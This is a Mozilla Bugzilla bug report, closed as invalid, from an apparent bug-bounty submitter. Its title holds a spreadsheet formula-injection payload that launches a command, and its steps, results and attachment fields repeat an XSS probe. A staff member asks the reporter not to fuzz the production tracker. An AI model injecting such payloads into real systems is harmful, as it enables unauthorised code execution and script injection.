1297954 - (=(1+1)) -2+3+cmd|' /C calc'!A0

Status: RESOLVED INVALID

(Marketplace Graveyard :: Consumer Pages, defect)

Description

[mandeep]

Attachment: flag.png

User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Steps to reproduce:

"><img src=x onerror=prompt(0)>


Actual results:

"><img src=x onerror=prompt(0)>


Expected results:

"><img src=x onerror=prompt(0)>

Comment 1

[mandeep]

Attachment: "><img src=x onerror=prompt(0)>

"><img src=x onerror=prompt(0)>

Comment 2

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

mandeep: can you please provide a clear PoC for the site in question?  The attachment you included was a picture for a site that is not owned/operated by Mozilla.  Please see for guidance on how to submit bugs for bounties (https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/#what-next).  Also, please try not to fuzz the parameters on our production Bugzilla instance.  If you'd like to test Bugzilla, please setup your own instance with code found here https://github.com/mozilla/webtools-bmo-bugzilla for testing.